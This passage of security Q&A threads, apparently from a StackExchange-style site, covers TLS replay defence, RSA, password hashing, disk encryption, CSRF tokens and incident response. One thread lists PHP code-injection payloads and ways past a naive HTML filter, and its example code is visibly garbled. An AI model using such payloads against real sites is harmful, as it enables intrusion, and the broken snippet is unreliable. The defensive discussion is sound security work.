The attacker then connects to the server, and sends an exact copy of the ClientHello (ch1). The server, however, responds with a distinct ServerHello (let's call it sh2): that ServerHello is very similar to the one used previously (sh1), but with a new server_random value. The attacker can then proceed with the handshake, but things will fall apart when the attacker sends the Finished message cf1: that message should contain a hash derived from all previous handshake messages, and be encrypted with keys derived from the master secret (that the attacker does not know, he merely "replays") and from both client and server randoms. For both computations, the server expects the Finished contents and the keys for encryption to have been derived using the random from the ClientHello and from its own ServerHello (i.e. here the "sh2" message). The "cf1" message won't match, since it was computed with hashes and keys from the initial handshake, with the randoms from ch1 and sh1, not sh2.

The recorded packets cannot be all replayed by the attacker because, by definition, the attacker replays only half of the conversation. When the attacker tries to impersonate the client, he can send all the packets on behalf of the client, but must work with what the genuine server responds (if the attacker impersonates both client and server, then he can do a "perfect replay", but he is actually talking to himself only, so this is considered a mental illness, not an attack). The server_random thus enforces a divergence which thwarts the replay attack.

(A similar case can be made with an attacker trying to impersonate the server when talking to a genuine client: the client_random protects the client against that replay attack.)

Alternative description: the client and server actually do verify nonces. They do so implicitly when they compute the symmetric keys, and check the contents of the received Finished messages. The client won't be content with a received Finished message from the server unless that message was computed and then encrypted using (among other values) the client_random that the client just sent, and none other (and similarly for the server).

The client and server "randoms" need not actually be random, although it is advisable. As explained above, the real value in the client and server random values is that they are distinct from previous values, for each handshake. They are public values, and there would not be any serious issue if they were predictable. Indeed, even if the attacker can predict the exact values of the client_random and/or server_random that will be used by given clients and servers, this won't help him running his replay attack: to succeed at replaying a handshake, the attacker must not simply know the client and server randoms; he must arrange for both client and server to reuse the same randoms as in the previous handshake which is replayed. Since the attacker impersonates only one at a time, he cannot enforce such reuse.

You may note that the said 32-byte randoms actually begin with 4 non-random bytes: these bytes encode the current date and time (number of seconds since a conventional instant). The purpose of these bytes is to try to ensure this non-reuse policy even for implementations with so terribly dysfunctional PRNG that they reuse previous random values. However, if the client has no good random source, this may have impacts on the security of the ClientKeyExchange and the master secret, especially with RSA-based key exchange (as is commonplace).


Can RSA (or any public/private key algorithm) be repeated for large amounts of data? I'm working on a small security assignment and I was instructed to implement simple encryption/decryption of files using RSA in C#.

When attempting to encrypt/decrypt large files, I was informed by the compiler that the file size cannot exceed the key length.  I can solve this problem by breaking the files into key-sized blocks and repeating the encryption, but would this jeopardize my RSA key?  Why or why not?

RSA encryption works on messages which are no longer than the public key modulus size (actually the limit is slightly below that, e.g. 117 bytes for a 1024-bit RSA key). The usual method for encrypting things with RSA is to use a hybrid mode: you create a random symmetric key (a bunch of random bytes, with a cryptographically secure random number generator), you encrypt symmetrically your data with that key (using a symmetric cipher such as AES), and you encrypt the symmetric key with RSA. Symmetric ciphers can deal with arbitrary length data. A symmetric key is rather short, typically 16 or 32 bytes, so there is no problem in encrypting that with RSA.

Be warned that you are in the process of designing your own cryptographic protocol, which is a very bad idea. Actually the first and foremost of all cryptography-related bad ideas. Even for something as simple-looking as asymmetric encryption of a blob, people who have tried to design such a protocol have gone through years of multiple versions and security holes, painfully plugged one by one. You should really use an existing protocol for that. One such protocol is OpenPGP. Bouncy Castle is an opensource library which has a C# version, and which includes an OpenPGP implementation. Use it, and you will live longer and happier.


What Prevents a Third Party from Using a Digital Certificate as their own A digital certificate is supposed to be used between client and server in order to establish the initial trust. The client has to choose to trust the server.

I can understand in a secure model, the client will always know who the server is.
https://internal.sitea returns a certificate that the client would recognize since it has had dozens of previous exchanges.

But what is to prevent someone in the middle doing a simple hello with the server, and reusing the digital certificate, to establish its own cipher suite with the client, and acting fully as a man in the middle?

I apologize if I am misunderstanding anything about the overall certificate exchange process. Please feel free to let me know.

Certificates establish that a public key belongs to a certain entity. So if I verify and accept a certificate, I will use the public key in that certificate to encrypt my TLS handshake data. A man in the middle will need the corresponding private key to decrypt that data and complete the handshake. Therefore, the certificate alone is not sufficient. The corresponding private key is required to make use of the certificate.


Will hashing passwords in my use case improve security and why? I am developing an application the architecture of which is arranged as follows:

Session host <---> Central relay server <---> Session client

All communication between the initiating session host and the subsequently connecting session client is relayed through the central server.

The session host is to be secured such that it cannot be accessed without a public session key identifying it and a private password it has stipulated in advance.

In fact no communication what so ever should be possible with the session host unless the session client can prove to the central server it is authorized, that is to say that authentication should take place on the central server itself.

So in the workflow I have in mind:

The session host connects to the central server over TLS, sending a hash of its chosen password.
The central server replies with a generated session key identifying the session host.
The session client connects to the central server specifying the session key and the hash of the attempted password.
The central server checks the hashes for a match, if there is a match, the session clients messages are allowed to pass through to the session host, if there is not a match, authentication has failed.

Thus my question is as follows.

Does hashing the password in this way deliver any additional security as opposed to just sending the stipulated and attempted passwords? How should I handle salting?

I'm inclined to think that it's worthwhile as it means the full password is never sent across the wire even if over TLS. It is not even stored into RAM on the central server.
It protects the users password, but offers no additional security for the session as the hash becomes the password.

Thanks

In your scenario the hashes add little security because the client sends the hash to the central server, however the client should send the attempted password, the central server then checks the hash of the password against the submitted hash.

Hashing is very important in this scenario, because you may have a malicious user. The malicious user has a real account and password, she then connects to the host server via the central server as normal. She is then connected to the host server and if she can exploit a vulnerability in this server she can dump the plaintext passwords of all other users. Salting should be handled as normal, i.e. the host sends the central server a hash and a salt, and the client sends a plaintext password over TLS, and the server verifies that the password and salt match.


Exploiting PHP via GET params To be clear, this is in the interest of ethical testing to secure an application on behalf of my work.

Now that that's out of the way, here are the details:

Un-sanitised GET params are used in a PHP script to dynamically modify a HTML page.
Only the param substring before a / is written to the HTML file

I am trying to have the code <?php phpinfo() ?> execute when the HTML page is rendered.

When I navigate to:

[host]/index.php/someparam=<?php phpinfo() ?>

The page source shows the code has been wrapped in a comment:

<!--?php phpinfo() ?-->

The code is only wrapped in a html comment when <? is detected, i.e. ?> on its own is fine.

Any ideas on defeating this? I've tried:

%3C%3F%70%68%70%20%70%68%70%69%6E%66%6F%28%29%20%3F%3E

which still results in:

<!--?php phpinfo() ?-->

base64 just renders as is and isn't treated as code, decimal values are not present anywhere in the source (not even wrapped in a html comment).

The simplistic scenario would be to try and send --><?php phpinfo();?>
 <?php phpinfo();

(newlines added for clarity). But the presence of <?php ...?> in the HTML page might not be enough; the PHP code needs to be interpreted server side, not just sent back to the client.

By examining more closely the beginning of the resulting string:

which would be rendered as HTML, or is defanged more thoroughly into

which renders to nothing useful. This depends completely on how the HTML open tag detection is done, and how it operates. Sometimes preg_replace is used with incorrect, incomplete, or not-greedy-enough regular expressions, which may defang only the first or last tag, or blindly defang the first opening with the last closing, ignoring whatever lies in the middle. If that is the case, then the page is vulnerable to Javascript injection and a variety of related attacks.

Is the sanitizing code available for inspection?

Example of naive validation

For example, this code apparently sanitizes HTML output.

preg_replace("/<(.*)>/", "", $input);

but (apart from being a badly thought out measure) the lack of the ungreedy operator ? leaves it vulnerable to a simple pre-unescaping attack:

<?php
    $params = array(
            "",
            "< -->", $param) . "\n\n\n";
?>

results in the first naive attack to fail, while the second succeeds:

Unfortunately, this preg_replace option is often suggested or implemented as a "quick fix" for HTML injection attacks, and as most "temporary fixes" are wont to do, it may become permanent.

A better strategy would be to filter out anything that doesn't belong in the original parameter (e.g. replace [^A-Za-z0-9_] with nothing at all), or reason that the presence of forbidden characters means that something wicked this way comes, and therefore the safest reaction is to drop the request altogether (maybe informing the user, on the off-chance that it happened by accident or due to a problem - e.g. maybe a syntactically incorrect link - somewhere else; for which reason a logging of HTTP_REFERER is highly recommended).


Operation Prowli Malware Infects Over 40,000 Machines Seems a new malware infection has been detected called 'Operation Prowli Malware' and around 40,000 machines are infected.

Still no CVE data updated on CVE site regarding the relevant vulnerability.

Anyone knows the impact and mitigation mechanism of this malware?

According to this article, the botnet uses known vulnerabilities against a variety of applications:

  The financially motivated attackers appeared to be targeting indiscriminately and went after domains that exposed a wide range of services to the internet. “Prowli exploits known vulnerabilities across WordPress, Joomla!, SMB, and even some DSL modems, so automated patching, along with continuous assessment and remediation, is critical to avoid these types of attacks," said Brajesh Goyal, CP of engineering, Cavirin.

This explains why there is no specific CVE for this malware, since it does not use any one vulnerability and is not bundled with its own novel exploits. The best mitigation is outlined above. Automated patching will reduce the chance that this malware will infect your applications.

The malware additionally exploits insecure configurations and SSH keys, so ensuring your system is adequately hardened and uses a proper password (or public key authentication) is also vital.


loop-aes or dm-crypt for linux hard encryption? loop-aes and dm-crypt are both used by partman-crypto for linux hard encryption, but dm-crypt needs no patch to kernel and is more supported.
dm-crypt keeps it's key on first hard block, is it a security issue which make loop-aes better?
which do you offer more?

That's not entirely correct.

If you use dm-crypt by itself (without LUKS) then no key information is stored on the disk, and the key is re-derived every time you enter the passphrase.  This isn't really any different from loop-aes.

Using dm-crypt With LUKS, your passphrase is used to encrypt the master key, and the encrypted master key is then written to the disk in a key slot.  Since there are multiple key slots, the master key can be encrypted for different users, each with a unique passphrase.

Since the master key is encrypted before being written to the disk, you would still need to break the encryption on the key in order to use it.

Personally, I don't consider this a significant risk, and use dm-crypt with LUKS on all of the systems I am responsible for.

You can read more about dm-crypt (with and without LUKS) in the cryptsetup FAQ -


Cross platform OpenSSL aes encryption I encrypted a file by using the following command from a stackoverflow answer:

openssl enc -in file_name -aes-256-cbc -pass stdin -out file_name.aes;

I can decrypt this file by running:

openssl enc -in file_name.aes -d -aes-256-cbc -pass stdin -out file_name

However, the decryption command only works in the machine where I encrypted the file (CentOS). If I copy the encrypted file file_name.aes over to my other machine (running on Fedora) and I try to decrypt it, I get an error message:

140667230762896:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:592:

Which suggests I am typing the wrong password. Is OpenSSL aes encryption system depedent? Why can I only decrypt the file in CentOS but not in Fedora?

You almost certainly have incompatible versions of OpenSSL on the two systems. Run openssl version to check.

The reason for the failure is usually that the default message digest has changed between the two versions, with the older version using MD5 and the newer using SHA256. OpenSSL doesn't store the hash type in the output message and expects you to specify it explicitly in the command if you want to use anything but default. Try adding -md sha256 to both commands.


Third party analytics/tracking javascript tags and PCI DSS Although variants of this question have been asked before, they seem to be about general risk, and I'm interested in the PCI DSS connotations.

If an e-commerce site is looking for level 1 or level 2 PCI DSS compliance (and therefore needs to involve a QSA as part of the SAQ review or ROC full audit) and the marketing department are asking for third party analytics javascript tags to be inserted onto every page, will this necessarily make PCI compliance almost impossible to achieve?

The risk appears to be that if the third party (for example Google Analytics, but there are many others) 'need' to embed a javascript line into every page, including sensitive checkout or login pages, etc. and that javascript pulls more code from the third party's servers beyond your full control, then you have essentially extended your PCI boundary to include that third party - and giving the PCI DSS auditor access to their servers and processes is going to be almost impossible in any meaningful way.

In essence, you would have to completely take on trust the effectiveness of the third party tracking code, and all the security controls and testing etc. surrounding their code changes because you have little or no control over the script(s) that are pulled in to your website. If I were QSA-ing this solution I'd raise some serious doubts about this approach.

So does this mean that PCI DSS compliant e-commerce web sites can't have active third party tracking javascript embedded onto all pages, or is there some flexibility here?

There is no specific PCI requirement about having 3rd party Javascript on your site or not.
Personally, I would not consider an analytics provider to be a PCI Service Provider under PCI DSS.
There are requirements however for your custom website to be securely developed (6.5), and for it to reviewed via security assessments or to be run under the protection of a WAF (6.6).
Additionally there are requirements for vulnerability scans (11.2) and external penetration testing (11.3.1).
A third party library hosting your website should be flagged as a vulnerability under one of these requirements. During a normal, non PCI security test, this would usually be worded that there is a third party library present and this risk should be reviewed to ensure that the library is trusted, and the domain it is hosted on is also trusted, should this is an external domain. If the third party domain is untrusted, or if it is compromised then it would be a risk to your environment and to your PCI compliance. That is, something hosted on google.com would probably be OK, but something hosted elsewhere may not.
During a security test, this is usually initially ranked by a pentester as a low risk vulnerability. However, it should be reviewed by the business. If your business accepts this risk, then simply document it as such. If you consider it a risk that cannot be accepted, then you should document the steps taken to mitigate such a risk. For example by putting the third party script through a code review, and then hosting the script locally rather than this being fetched from a third party domain. Also, browser subresource integrity is now widely supported, in which the browser rejects remote scripts should they be altered: https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity
PCI DSS is mostly about documenting how you have dealt with the spirit of each requirement, rather than a black or white list of cans and cannots. Then, should you be audited you can take the QSA through your business decision process to demonstrate how you are meeting the requirements above.
Disclaimer: I'm not a QSA, nor, more importantly, your QSA. Only your qualified QSA can accurately assess your responsibilities under PCI DSS, as they will have full knowledge of your business and how it relates to your card processing activities.


Difference between Threat Impact and Business Impact I'm using SecureAware by Neupart/Lightwave as ISMS.

This, otherwise fine program, asks me to fill in Threat Impact for all threads in the usual categories of Confidentiality, Integrity and Availability.

Later on when doing the risk assessments it tells me to do business impact for Confidentiality, Integrity and Availability. This makes a whole lot of sense, but I have no idea what it wants a Threat Impact for.

Can anyone tell me what a Threat Impact is and how it is used in the risk assessment?

Best regards

Martin

Threat impact generally refers to impact on Confidentiality, Availability, or Integrity to the organization, system, or dataset.

Business impact is an estimate of the damage to the organization in a long-term sense. In most cases this term just refers to actual financial impact but in some cases it may include many other dimensions such as market positioning.

In many cases, these two impacts are frequently graphed as an X and Y access to give the business a better view of how several of the risks to a business compare.

Simply put the reason you would want this is there are business assets that can be completely destroyed or taken off-line which would have almost no effect on the business. If in this case there were a really easy to exploit critical vulnerability you may rate it as (Threat impact HIGH, Business impact LOW)

... and at the same time if this business had other services which if they were even slightly damaged or taken off-line would create a HUGE impact on the business and those services had a very minor vulnerability which wouldn't cause a loss of data but may radically slow the site down you may rate it as (Threat impact LOW, Business impact HIGH)

Rather than a company rating all assets equally and trying to protect all assets equally, or going after the HIGH Threat impact issues first, it is more important to prioritize the ones which could have the greatest impact on the business.

Having separate ratings like this help businesses and security teams focus their time and money better.


Do pharma hacks always redirect to attacker page or can it also be ads on the legit website’s page? I'm trying to understand how a pharma hack works. Let's say someone searches for some illegal drug on google and clicks on a link with a domain name www.example.com.

Will that person be redirected to a vulnerable page of www.example.com with ads of that illegal drug on it or will he be redirected to the hacker's website? (example: www.pharmaattack.example)

According to my knowledge, both scenarios can happen.

When a hacker gets access to your site, he or she can do everything they want, ranging from embedding spammy links to nefarious sites, changing the title of your pages, and even adding new pages.

However, I have lately seen lots of examples of attackers directing to the pharma page, located on the same site domain.

(In this example, a page created by the hacker and placed on www.example.com/xxxx/illegaldrug~~)

They also mess up your database.

This link illustrates the process of pharma spam and prevention very well:


How can I check what scripts are in Nmap's default category (`--script=default`)? I know that the -sC and -A options run the "default" category of scripts (--script=default):

https://nmap.org/book/nse-usage.html

I've searched the nmap script folder for a default sub-folder, but cannot seem to find any.

How can I see what scripts are included in the different categories of nmap scripts?

The scripts included in the default category (and every other category) can be found here in the NSE documentation.

Edit: additionally, you can look into each script in your scripts directory to find a line like this:

categories = {"default", "safe"}

This will tell you every category that the script is a member of, and allows you to change the membership of any script, as well as create custom categories if you wish.


Is there any additional overhead over using Oauth vs Client Certificates? I have a requirement to add security between service to API communication. The current implementation is client certificates. The client gets a certificate and just sends it in a cookie to the API. API does zero verification of the certificate. It pretty much is "just there" in the cookie.
The reason is they are concerned with additional overhead in any server validation as they need calls to be instantaneous. 3 seconds is too long. Think stock trades. Calls need to be real-time and instant.
So would implementing something like an OAuth JWT token and validating it on the API server add additional overhead that will slow down a transaction?
What about an API gateway? Does that also introduce additional overhead?
I'm looking for the fastest available solution that will not increase processing time but I can also validate incoming requests on the server.

Oauth is designed as a means of communicating identity between servers that don't necessarily trust each other.  This is useful for third-party login scenarios.  However, this lack of trust introduces overhead, since the authentication credentials cannot be sent directly.  Typically, this involves the use of a middleman (i.e., the user).
Whether this involves additional overhead is typically irrelevant, since you only use Oauth to initiate a session.  Once the user is identified, you should use some other system to identify the user (e.g., an authentication cookie).


Forensic in Cloud environment Let's assume that I have access to an EC2 instance (whether a private key for a Linux instance or the username and password for Windows instance), and I used a software like FTK Remote Agent to acquire an image. Isn't this image the same as if I was able to go to the data center and physically connect and acquire the image?

I'm asking this because I was reading a paper in which the researchers were evaluating current tools (like FTK and EnCase) in cloud environment. They wanted to know whether these tools can acquire forensic data. So they created an EC2 instance, downloaded Apache on that instance, made some web pages and compromised the machine using a web-based vulnerability. Then they acquired an image and checked if they can find the timeline of their activities.

My other question: is it considered acceptable to install a tool or a service on a remote machine in order to acquire a Forensic image or is it considered to be damaging to the integrity of the evidence? For example connecting to an EC2 instance using remote desktop and installing a tool that would let me connect to acquire a remote image.

I try not to do this but this is very much a yes and no answer.

Tools like FTK Remote Agent run as a service on the system. An investigator can connect to those tools and perform tasks (such as pulling a remote image of that particular system.) If you were to walk into the data center of AWS and could get console level access and installed than ran your tools from there, you would be doing a very similar thing (and actually better since you have less network for potential problems.

If your goal is to preserve the state of the machine as it relates to AWS, pulling an image from the VM may not be the way you want to approach this. The more preferable method would likely be to clone the virtual files that make up your AWS system.

I try to think of virtual environments and forensics in this way, what would I rather have, a copy of the files that make up the state of an OS, or a copy of the container that has the entire state of the OS as it relates to its current environment.

FTK will provide you a clone of your OS from the OS's perspective into a format (ISO most likely), but if you could pull the AWS files that make up the entire VM, you have, IMO more solid forensic evidence.


Is com.com a Google web site? With the new Chrome update, I started getting a message at the top of Chrome:

When I clicked on Learn More, it took me to Com.com web site. A warning appeared before that "your connection is not private" but I ignored it as I thought this message is by Google. Now I'm confused whether my computer or chrome is hacked? Please give some clues.

It looks like there is a typo in the Chrome message. They repeated ".com.com" in the link.

Com.com, according to their site, is set up to take advantage of such typos:

  As an example, if a user browses to “example.com.com” the user will
  see content, information and/or advertisements based off the word
  “example.”

So, no, com.com is not a Google site, and there does not seem to be an infection. Just a typo in the Chrome message.

As a side note: never dismiss error messages quickly. They exist to give people pause before doing things that might not be safe. In this case, it's an indication that things were not as you expected.


How does github.com implement CSRF mitigation I had a look into CSRF recently. The recommended mitigation strategy is to implement the Synchronizer Token Pattern.

When you look at the details, the question comes up how often these tokens need to be changed. Again, the general recommendation is that per-session tokens are sufficient. You can go for per-request tokens if you need extra security (or if you have a scenario where leaking CSRF tokens is an issue).

While verifying how big sites implement CSRF protection, I had a look at github.com. What boggles me is that I cannot understand why they implemented their approach as they did.

It occurs to me that they use per-request tokens (even more, unique per form tokens). However, old tokens are not invalidated after they have been used. I will give an example.

Let us consider the github profiles page: https://github.com/settings/profile.

The response to a GET request contains three forms with an authenticity_token as hidden input parameter. If I remember correctly, github is built based on Rails. So this fits, as the name matches the default name of Rails CSRF protection mechanism. Further, the tokens are 64 bytes long, which matches the length of the Rails masked CSRF tokens approach.

The tokens are attached to the following forms:

Token 1: The Sign out Button
Token 2: The Update profile button
Token 3: The Save jobs profile button

If you reload the page, the values of all of the three tokens change.

Let us consider a subsequent POST that updates my profile.

If I submit the intended Token 2, the action is performed.
If I submit an invalid token, the action is not performed (the server returns HTTP 422).

So far so good, now to the things I do not understand. The action is also performed, without an error, when I do one of the following requests:

Submit another token from the page (say Token 1 or Token 3 from above).
Submit Token 2 again. So the old token is not invalidated as being used. This works multiple times.
Reload the page, but submit one of the old tokens.

So I guess it comes down to: Why does github implement per-request (even per form) tokens, but never invalidates them / verifies that they belong to the correct form element?

Or maybe I am totally wrong, and github actually implements a different approach (like Encrypted Token Pattern).

Nonlinear workflow

The question seems to assume a linear workflow - i.e., user loads page A that has token A1; performs an action that requires that token; loads page A again, this time with token A2, and performs an action that requires it.

However, it is perfectly reasonable for users to have multiple pages open in the same session - you can "use a token" in one tab, then switch to another tab that was opened an hour ago, and click a button that submits a token that technically is much older than the one you just used. If the older token would have been invalidated, that would look as an obvious bug from the user's perspective.

Also, it's reasonable to use the back button, which may return to a cached version of the page with the old tokens. You can GET a form with a particular token, submit a POST request with this token, then remember that you need to change one more thing, press the back button (which shows the form again without fetching a new version) and then submit another POST request with (obviously) the same CSRF token that you just used. Again, this is a reasonable workflow, and it should just work, and invalidating the token would break it.

Some invalidation of CSRF tokens would be reasonable, but it should happen in conditions similar to session expiry - either on explicit logout, or a comparably long timeout; not on simply using a newer token, as within a single session it is reasonable for tokens to be used out of order and/or reused.


What can hacker do, if he knows my SALTED password? for example, in any website (WORDPRESS or etc..) they store passwords in database, using SALT mehtod (as i know)...
for example:

$P$dfwegfwegewgIT03.wewefefweg

if hacker got this password and username, can he detect a real password?
shortly, if hacker knows any value in database and my FTP (but the real password is nowhere stored), can he enter the ftp?

First of all: the salted hash generally contains only the password, not the username, but they are commonly nearly stored.

He will then be able to launch an offline Brute force attack, trying to find the password that generates that same hash using that same salt.

This attempt may be dictionary-based or exhaustion search-based.

Also, to be allowed access, one MUST have possession of at least 3 pieces of information:

Address (in this case, FTP's address)
Username
Password

If he already has the ftp address and the password, he still has to discover the username. It is possible to use the same technique to make several attempts until he finds a  username that uses the known password in its credential.

The usage of SALTING only prevents other accounts with the same password from having the same hash, what would promptly alert the hacker about users sharing the same password.


Is the ssh-copy-id command secure? I have 2 Ubuntu 14.04 servers with openssh-server installed on both.
I've set up key-based authentication using RSA keys, without passphrase, so that I can run automated backup scripts, to a remote site, with rsync.

I normally do the key exchange over a lan network, while password based login is still enabled, I then disable password only ssh, before taking the remote server to its off-site location. So any users log in through keys with passphrase, and automated scripts use keys without passphrase.

To share keys I use the ssh-copy-id command.

All commands for off-site use a high non-standard port on the external modem/router, forwarded to the router on subnet, which then NAT addresses to the standard 22 port on the remote server.

If I wanted to add a new user's key, I could use a current user to enable password only login, which would make it possible to use ssh-copy-id (as it requires the user's password. After using ssh-copy-id to set up key-based ssh, I would disable password based login afterwards.

Is there any risk in using ssh-copy-id over an internet connection?

As pointed out in the comments, there is no other risk then using normal ssh with password.

This means that from the client you need to go through the common check of hostkey or fingerprint and then everything (passwords, keys and all communication) is encrypted.

You can even have a look into ssh-copy-id, since it is just a simple shell script doing the "magic", which consist of password-based login, copy your key there, set correct permissions. As addition it is trying to make sure that the key was successfully copied and works fine for pubkey authentication.


How does the password protect the data keys on an encrypted HDD / SSD? How is the data key used for full disk encryption protected? Is a wrapping key derived from the password, or is it simply unlocked once the password has been supplied? If an existing or proprietary key derivation mechanism is used, where would the key derivation mechanism be defined? How is access to the drive protected with regards to dictionary attacks? Is it possible to try any number of passwords (once the drive is directly accessible to an attacker)?

I've been trying to read a lot of documentation, especially on the pages of the Trusted Computing Group, but I cannot find any information on the subject. I have only found out that the data key is generally always used and that it is unlocked using the password.

If there is no generic method, then how is it protected on A-brand disks such as Intel SSD's and Samsung SSD's?

References to the right standard documents or user manuals are highly appreciated.

I like the disk encryption wiki from valinux. It is reasonable to assume most disk encryption schemes work in a very similar manner, and may be implemented entirely based on well-established open standards.

I would go so far as saying that if you discover anything proprietary in a disk encryption scheme, to stay away from it since it could very well conceal a backdoor. PBKDF2 is a fairly popular and standards based key derivation function. AES is most likely the encryption algorithm of choice, preferably with 256 bits, and if you want one of its stronger variants, look for GCM.

Copied some informative diagrams below from the wiki.

╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╮                        ╭┈┈┈┈┈┈┈┈┈┈┈╮
┊ mount passphrase ┊━━━━━⎛key derivation⎞━━━▶┊ mount key  ┊
╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╯,───⎝   function  ⎠     ╰┈┈┈┈┈┬┈┈┈┈┈╯
╭──────╮            ╱                               │
│ salt │───────────´                                │
╰──────╯                                            │
╭─────────────────────╮                             ▼         ╭┈┈┈┈┈┈┈┈┈┈┈┈╮
│ encrypted master key│━━━━━━━━━━━━━━━━━━━━━━(decryption)━━━▶┊ master key ┊
╰─────────────────────╯                                       ╰┈┈┈┈┈┈┈┈┈┈┈┈╯

                          ╭┈┈┈┈┈┈┈┈┈┈┈┈╮
                          ┊ master key  ┊
  file on disk:           ╰┈┈┈┈┈┬┈┈┈┈┈┈╯
 ┌ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┐        │
 ╎╭───────────────────╮╎        ▼          ╭┈┈┈┈┈┈┈┈┈┈╮
 ╎│ encrypted file key│━━━━(decryption)━━━▶┊ file key ┊
 ╎╰───────────────────╯╎                   ╰┈┈┈┈┬┈┈┈┈┈╯
 ╎┌───────────────────┐╎                         ▼            ┌┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┐
 ╎│ encrypted file    │◀━━━━━━━━━━━━━━━━━(de/encryption)━━━▶┊ readable file  ┊
 ╎│ contents          │╎                                      ┊ contents       ┊
 ╎└───────────────────┘╎                                      └┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┘
 └ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘

In a nutshell:

Passphrase you will need to remember, and enter in order to mount the disk or partition.
Passphrase churned through key derivation function to generate master key. There should be enough iterations such that it takes the function ~1s to process on your computer.
Master key then be used to decrypt a keystore file, which contains a file key that is actually used to actually decrypt or encrypt your disk data.

Q. Why not have a master key that directly encrypts your data, why separate master key and file key?

A. If you decide to change your passphrase you have then have to re-encrypt your disk for the master key only scheme. On the other hand, if you have a separate master and file key, then if you change your passphrase you only need to re-encrypt the file key.


I think my raspberry was hacked, what should I do? First of all, sorry if all of this seems a bit stupid, but my field of expertise is software development, not security. So, here is what happened.

1/ The breach

I did something I really shouldn't have. Namely, I redirected my external network port 22 to my raspberry pi, thinking my password was strong enough to protect me. The main goal was to remotely work on my dev whenever I wasn't home.

2/ The attack

Yesterday, my father told me he couldn't send any emails anymore. Sadly I didn't think about taking a screenshot of the error message, but the basic line was: "This IP address has been blocked because it was trying to perform ssh bruteforce on port 22". My opinion is that a bot scanned my network, saw my port 22 was open, logged in my pi by bruteforce, and once logged in the pi, tried to bruteforce other devices from mine. Am I correct on this one? As noted in the comment, it may not be the case but here are my reasons to think it was:

The rasPi is the only device accepting ssh connection from the internet (in fact, it's the only device accepting ssh connection at all)
The only others open ports on my router are 80 and 8080. Both redirecting to the rasPi
When we discovered the issue, I unplugged the Pi, rebooted the router and all worked fine. It may be worth noting that when we rebooted the router, it made some sort of "quarantine" stating "you'll be connecting to Orange (French ISP) network in 5 minutes", that's the first time I see this message.

3/ The recovery

This is the main part of my question: what actions should I take now to recover? Since yesterday, my pi is unplugged, both power and ethernet, and all my port redirection have been shut down. We don't see any suspicious trafic anymore, but is there any risk that my entire network has been compromised? Can I reuse the pi as it is with more security mesures? Should I wipe it out and start from fresh? Should I worry about the data on my desktop computer/smartphone or my family ones?

Thanks a lot.

TL;DR

What should I do if a device on my home network has been used by a third party to perform bruteforce over the internet?

First at all try to limit the number of devices that you have .
if you want when the attacker got into your device
perform the following command

cat /var/log/auth.log | grep 'Accepted'

check if attacker already added user into your box

cut -d: -f1 /etc/passwd

as well try to use strong passwords ,
btw maybe your ssh services itself is already vulnerable ! so it's not about your password ! if you're using "libssh" as ssh services
there's recently exploit released for authentication bypass
as well it maybe from your other services exposed to the internet


PCI-DSS : Sending antivirus logs from private infrastructure to public cloud? We are planning to build an environment where all the Linux machines in private infrastructures will send their ClamAV log files to ELK stack hosted in a public cloud for log analysis. Is this PCI compliant?

If the logs are originating from machines that contain payment data, then your elk stack would be in scope and have to adhere to all pci requirements, as well as anything that interacts with it.


Identifying, analyzing, and predicting weak session cookies To elaborate on this, I'm looking at this from the perspective of a hacker/penetration tester.  Many times I have seen web applications that I know have weak cookies.  I can tell this because I can issue hundreds/thousands of login requests and the session cookies that the server responds with will have noticeable patterns in them.   For example, some session cookies will have repeated characters present in all session cookies(e.g., the first 6 characters of a 13 character session cookie are all the same).  Others are generated based on time, so if I issue a bunch of login requests all at the same time, the server will respond with the same session cookie (Assuming the server generates the cookie based on the second/minute).

While these types of patterns are easily noticeable, I know that some patterns aren't so easy for us humans to see.

So my two questions:

1) What methods and tools are out there to determine the strength of a cookie?

2) Once a weak session cookie has been identified, how would one go about analyzing and reverse engineering the session cookie generation algorithm? (Keeping in mind that the end goal here is to eventually be able to predict session cookies)

Burp has a session id analysis tool,  but I'll be honest its output doesn't make any sense and as a penetration tester,  this feature has never led to a finding...

If I audit a session handler I will look at its source code and judge it by the entropy source that it is using.

In a blabkbox assessment if the session id doesn't change when you authenticate multiple times then the application might be using the password hash as the session id.  The developer who wrote this garbage should be fired,  there is no excuse for this degree of incompetence.  (Wordpress, I'm looking at you)


Could Mozilla MaintenanceService be used by an other program to avoid permission problems on Program File? While updating my Firefox, I discovered that no permission was asked. Frist, I thought that something went wrong. But I quickly discover that they have a service to launch the update in session 0.

Could this service be used by an other program to bypass some security? Could it become a back door?

It should not be possible to use the service to bypass some security e.g. to elevate privileges. Everything else is treated as a bug. Unfortunately there were a bunch of bugs in the past (for example CVE-2017-7760, CVE-2016-5253, CVE-2015-4505) which allow a local attacker to elevate privileges via the mozilla maintenance service.

If you are worried about this you can uninstall the service. In this case for further updates a fallback is used which use an elevation prompt.


JUNIPER Junos Pulse - how to apply policy to device We'd like to set up and use Juniper Junos Pulse on iphone and ipad for access to Corporate mail.

We have juniper SA and have prepared the policy, but how do we apply the policy to the devices?

Not specifically on topic, but:

According to the Junos Pulse release notes: The Apple iPad Junos Pulse is not supported on the Apple iPad as of September 2010. Junos Pulse will be qualified to work on Apple iPad products when iOS 4.2 is realeased by Apple.

Update As of December 2015, the Pulse Secure Desktop Client Supported Platforms Guide says that Max OSX 10.11, 10.10 and 10.9, 64 bit Safari 8.x and 7.x are supported.


My passwordless authentication approach I implemented a passwordless authentication with a good UX in mind. But I am not a security expert so I am asking for your advice.
This is the authentication flow:

User types in email address
client send email to API
API creates User if not exists
API generates a short living jwt with a UUID and saves the user id and session id as claims
token id and session id get saved to db with a confirmed flag
API sends this token to the email address
User clicks the link on any device of choice
if token is valid and the claims match the data in the db the confirmed flag is set to true and a last_login field is set to the token's iat (not really sure know if I need that ^^)
Meanwhile the client where the user logged in polls for confirmation and updates session if login was confirmed

If you rely only on the hability to access to the declared email address, I think you should have eavesdropping detection methods.
For example, in your current flow, if an evil E accesses to the mailbox after the owner, E can still click the link and be authenticated.
Also, every NSA router (so every router ^^) between your API and the user's mail server can read the token if the email is not encrypted (which is not only under your control).
So a "burn after using" should be implemented for the token.
